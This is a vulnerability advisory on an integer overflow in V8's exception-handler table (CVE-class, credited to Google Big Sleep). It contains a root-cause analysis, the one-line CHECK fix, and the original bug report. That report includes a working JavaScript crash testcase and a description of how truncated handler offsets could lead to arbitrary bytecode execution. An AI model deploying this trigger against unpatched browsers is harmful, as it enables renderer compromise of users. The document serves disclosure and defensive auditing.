Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInteger overflow in V8
DescriptionInteger overflow in V8
ComponentV8
Sub-componentIgnition
Bug ClassInteger Overflow
Action tierwatch — ub-class only — no demonstrated corruption path
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker443765373
Fix commita5f18bb86c3b (v8/v8) +1/-0
CWECWE-472
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedGoogle Big Sleep
Reported2025-09-09 (per vendor advisory)
Fix landed2025-09-12 (public git)
Disclosed2025-09-23
Patch gap11 days — fix public in source before the advisory

Background

`HandlerTable`
a V8 metadata table attached to bytecode/code that maps try-block ranges to their exception-handler offsets and catch predictions, consulted when an exception is thrown.
`HandlerOffsetField`
a BitField sub-range of a packed 32-bit integer that stores a handler’s target offset alongside HandlerWasUsedField and HandlerPredictionField.
`BitField::encode` / `is_valid`
encode shifts a value into the field’s bits (masking/truncating out-of-range values), while is_valid returns whether a value actually fits within the field’s width.
Ignition
V8’s bytecode interpreter, whose compiler builds the HandlerTable for each generated bytecode array.

Root Cause Analysis

HandlerTable::SetRangeHandler packs a handler offset into a bitfield with HandlerOffsetField::encode(handler_offset) OR-combined with the used and prediction fields, without first verifying the offset fits in the field’s bit width. When handler_offset exceeds the range representable by HandlerOffsetField, encode silently truncates the high bits, so the stored offset is wrong and can also corrupt the neighboring HandlerWasUsedField/HandlerPredictionField bits in the packed value. A sufficiently large function (enough bytecode that a try-block handler lands at an offset beyond the field capacity) would therefore record a bogus handler target that is later used during exception dispatch.

The fix adds CHECK(HandlerOffsetField::is_valid(handler_offset)) before the encode, converting the silent integer-overflow/truncation into a safe, immediate abort. It works because the invalid offset can no longer be encoded and consumed downstream; the process crashes deterministically instead of proceeding with a corrupted handler entry.

Key insight
The single mistake was encoding an attacker-influenceable handler offset into a fixed-width bitfield without validating it fits, allowing overflow/truncation to produce a corrupted packed value; the fix restores the invariant with a CHECK(HandlerOffsetField::is_valid(...)) guard before encoding.

Attack Path

  1. Craft an oversized function An attacker supplies JavaScript that Ignition compiles into a very large bytecode array such that an exception handler’s target offset exceeds HandlerOffsetField’s representable range.
  2. Reach `SetRangeHandler` During handler-table construction, HandlerTable::SetRangeHandler is called with the out-of-range handler_offset.
  3. Silent bitfield truncation Pre-patch, HandlerOffsetField::encode(handler_offset) truncates the value and OR’s it with the used/prediction fields, storing a corrupted value (wrong handler offset and/or clobbered adjacent field bits).
  4. Corrupted handler dispatch When an exception is later thrown in that range, the wrong offset would be used to resume execution; the concrete memory-safety consequence downstream is not shown in the diff (inferred).

Impact Assessment

An attacker who can get large functions compiled (i.e. running attacker-controlled JavaScript in the renderer) can trigger an integer overflow/truncation in the exception-handler table, yielding a corrupted handler offset; the advisory describes this as an integer overflow in V8. Any escalation to controlled memory corruption or code execution from the corrupted handler entry is (inferred) and not demonstrated by the patch, which merely replaces the silent overflow with a hard CHECK abort.

Files Changed

  • src/codegen/handler-table.cc

Audit Directions

  • Unchecked `BitField::encode`
    Search for ...Field::encode(x) calls where x derives from code size, offsets, counts, or other input-scalable values but lacks a preceding is_valid check.
  • Offset/size fields with fixed width
    Audit V8 metadata structures (handler tables, source-position tables, deopt data) that pack offsets into narrow bitfields, checking that large functions cannot exceed the field capacity.
  • Silent truncation vs. validation
    Look for places where oversized inputs are accepted and truncated rather than rejected, especially where the resulting value is later used as an execution target or index.
From a5f18bb86c3b97b9bfc8f95a0926812a1282ad7c Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Fri, 12 Sep 2025 16:48:24 +0200
Subject: [PATCH] [ignition] CHECK that handler offsets fit in the bitfield

Fixed: 443765373
Change-Id: I2be7258463c7787311105b7075f3007197cfccfe
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6943611
Reviewed-by: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#102453}
---

diff --git a/src/codegen/handler-table.cc b/src/codegen/handler-table.cc
index e1c1f6a..b815ff2 100644
--- a/src/codegen/handler-table.cc
+++ b/src/codegen/handler-table.cc
@@ -141,6 +141,7 @@
 
 void HandlerTable::SetRangeHandler(int index, int handler_offset,
                                    CatchPrediction prediction) {
+  CHECK(HandlerOffsetField::is_valid(handler_offset));
   int value = HandlerOffsetField::encode(handler_offset) |
               HandlerWasUsedField::encode(false) |
               HandlerPredictionField::encode(prediction);
Loading diff…

Original Bug Report

reported by bi...@google.com

V8: Bytecode corruption due to integer truncation when writing exception handler offset

We are tracking this issue with the public ID BIGSLEEP-443875388. Please use this identifier for reference in any future communication.

Vulnerability Details

Exception handling in V8’s bytecode is implemented by a handler table which effectively encodes the range of the try block and the start of the corresponding catch block . This can for example be seen using --print-bytecode with a simple function:

function simple() {
  try {
    throw 42;
  } catch (e) {
    return e;
  }
}

/*
[generated bytecode for function: simple (0x034e0005db71 <SharedFunctionInfo simple>)]
         0x2ad5001000e4 @    0 : 1b ff f9          Mov <context>, r0
         0x2ad5001000e7 @    3 : 0d 2a             LdaSmi [42]
         0x2ad5001000e9 @    5 : b5                Throw
         0x2ad5001000ea @    6 : d1                Star1
         0x2ad5001000eb @    7 : 8d f8 00          CreateCatchContext r1, [0]
         0x2ad5001000ee @   10 : d2                Star0
         0x2ad5001000ef @   11 : 10                LdaTheHole
         0x2ad5001000f0 @   12 : b4                SetPendingMessage
         0x2ad5001000f1 @   13 : 0b f9             Ldar r0
         0x2ad5001000f3 @   15 : 1c f8             PushContext r1
         0x2ad5001000f5 @   17 : 19 02             LdaImmutableCurrentContextSlot [2]
         0x2ad5001000f7 @   19 : b7                Return
Handler Table (size = 16)
   from   to       hdlr (prediction,   data)
  (   3,   6)  ->     6 (prediction=1, data=0)
*/

Here, the bytecode specifies that if an exception is raised in the range at any point in the bytecode offset range [3, 6), then execution should continue at bytecode offset 6.

Internally, the offset of the handler is encoded as a 28 bit integer, encoded in the function HandlerTable::SetRangeHandler [1]. As there is no hard CHECK that the offset fits into 28 bits, there is a potential for truncation issues if the bytecode becomes too large. One way to generate a function that is sufficiently large is through an async generator function containing a lot of yield* operations, which appear to cause a lot of bytecode to be generated. With that, it becomes possible to overflow the 28 bit bytecode offset of the handler. Subsequently, if an exception is raised, execution will transfer to an invalid offset inside the bytecode, allowing arbitrary bytecode execution similar to BIGSLEEP-436210783/crbug.com/436181695.

The below testcase demonstrates this scenario. As can be seen with --print-bytecode, the offset of the last handler has been truncated and now points into the middle of the function and not to the start of the catch block (the catch block starts at offset 294567982, which is 26132526 when truncated to 28 bits):

...
        0x218e125ec063 @ 294567979 : 0d 2a             LdaSmi [42]
        0x218e125ec065 @ 294567981 : b5                Throw
        0x218e125ec066 @ 294567982 : cb                Star7
        0x218e125ec067 @ 294567983 : 01 8d f2 ff ff ff c7 46 2e 00 CreateCatchContext.ExtraWide r7, [3032775]
        0x218e125ec071 @ 294567993 : cc                Star6
        0x218e125ec072 @ 294567994 : 10                LdaTheHole
        0x218e125ec073 @ 294567995 : b4                SetPendingMessage
...

Handler Table (size = 48)                                                                                                                                                                                                                  
   from   to       hdlr (prediction,   data)                                                                                                                                                                                                   
  (  30,294568033)  ->  26132577 (prediction=3, data=4)                                                                                                                                                                                                
  (  33,294568013)  ->  26132557 (prediction=3, data=5)                                                                                                                                                                                                       
  (294567979,294567982)  ->  26132526 (prediction=1, data=6)

In release builds, this will usually lead to a segmentation fault (e.g. due to an invalid bytecode opcode being executed). However, an attacker should be able to craft the bytecode in a way that there will be valid attacker-controlled bytecode at the jump destination, subsequently allowing for arbitrary code execution.

[1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/handler-table.cc;l=144;drc=6002d3ae186f974cd2013b410e487e2631f61f16

Affected Version(s)

The issue has been successfully reproduced:

  • at HEAD (commit 6002d3ae186f974cd2013b410e487e2631f61f16)
  • in stable release 14.0.365.4 (fdb12b460f148895f6af2ff0e0d870ff8889f154

Reproduction

Test Case

The following testcase causes a DCHECK failure in debug builds and a segmentation fault in release builds as described above.

let kNumYields = 500000;

let body = `
  if ("foo" === "bar") {
    ${"yield* 42;".repeat(kNumYields)}
  }
  try {
    throw 42;
  } catch (e) {
     // Will never get here
  }
`;

const AsyncGeneratorFunction = Object.getPrototypeOf(async function*(){}).constructor;
let bug = new AsyncGeneratorFunction(body);

let r = bug();
r.next();

Build Instructions

Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build:

gm.py x64.debug

Command

Note that the testcase may take a few minutes to trigger on a debug build but should trigger within a few seconds on a release build.

./out/x64.debug/d8 crash.js

Crash Backtrace

#
# Fatal error in ../../src/base/bit-field.h, line 56
# Debug check failed: is_valid(value).
#
#
#
#FailureMessage Object: 0x7b42c013f860
==== C stack trace ===============================
    ./out/x64.debug/d8(___interceptor_backtrace+0x46) [0x5622fa2f9a06]
    v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f42c3bd789e]
    v8/v8/out/x64.debug/libv8_libplatform.so(+0x7c49b) [0x7f42c3ab349b]
    v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x2e2) [0x7f42c3b7f1d2]
    v8/v8/out/x64.debug/libv8_libbase.so(+0x888f7) [0x7f42c3b7e8f7]
    v8/v8/out/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x4d) [0x7f42c3b7f31d]
    v8/v8/out/x64.debug/libv8.so(v8::base::BitField<int, 4, 28, unsigned int>::encode(int)+0x37) [0x7f42ce567a37]
    v8/v8/out/x64.debug/libv8.so(v8::internal::HandlerTable::SetRangeHandler(int, int, v8::internal::HandlerTable::CatchPrediction)+0x3f) [0x7f42ce565b4f]
    v8/v8/out/x64.debug/libv8.so(v8::internal::DirectHandle<v8::internal::TrustedByteArray> v8::internal::interpreter::HandlerTableBuilder::ToHandlerTable<v8::internal::Isolate>(v8::internal::Isolate*)+0x2d7) [0x7f42cfc43607]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Handle<v8::internal::BytecodeArray> v8::internal::interpreter::BytecodeArrayBuilder::ToBytecodeArray<v8::internal::Isolate>(v8::internal::Isolate*)+0x1a2) [0x7f42cfb27df2]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Handle<v8::internal::BytecodeArray> v8::internal::interpreter::BytecodeGenerator::FinalizeBytecode<v8::internal::Isolate>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Script>)+0x5a4) [0x7f42cfbd5514]
    v8/v8/out/x64.debug/libv8.so(v8::internal::CompilationJob::Status v8::internal::interpreter::InterpreterCompilationJob::DoFinalizeJobImpl<v8::internal::Isolate>(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x48f) [0x7f42cfc4aa1f]
    v8/v8/out/x64.debug/libv8.so(v8::internal::interpreter::InterpreterCompilationJob::FinalizeJobImpl(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x233) [0x7f42cfc46a03]
    v8/v8/out/x64.debug/libv8.so(v8::internal::UnoptimizedCompilationJob::FinalizeJob(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x380) [0x7f42ce47a8c0]
    v8/v8/out/x64.debug/libv8.so(+0xa8a6917) [0x7f42ce4a6917]
    v8/v8/out/x64.debug/libv8.so(+0xa88f4ea) [0x7f42ce48f4ea]
    v8/v8/out/x64.debug/libv8.so(+0xa892ed7) [0x7f42ce492ed7]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromEval(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::String>, v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::DirectHandle<v8::internal::Context>, v8::internal::LanguageMode, v8::internal::ParseRestriction, int, int, v8::internal::ParsingWhileDebugging)+0x20e9) [0x7f42ce4988f9]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromValidatedString(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::NativeContext>, v8::internal::MaybeDirectHandle<v8::internal::String>, v8::internal::ParseRestriction, int)+0x574) [0x7f42ce49a734]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromString(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::NativeContext>, v8::internal::Handle<v8::internal::Object>, int, bool)+0xe0) [0x7f42ce49a900]
    v8/v8/out/x64.debug/libv8.so(+0xa7469b2) [0x7f42ce3469b2]
    v8/v8/out/x64.debug/libv8.so(+0xa742741) [0x7f42ce342741]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Builtin_AsyncGeneratorFunctionConstructor(int, unsigned long*, v8::internal::Isolate*)+0x200) [0x7f42ce342340]
    v8/v8/out/x64.debug/libv8.so(+0x995397d) [0x7f42cd55397d]

Reporter Credit

Google Big Sleep

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-12-08. For more information, visit https://goo.gle/bigsleep

View on issue tracker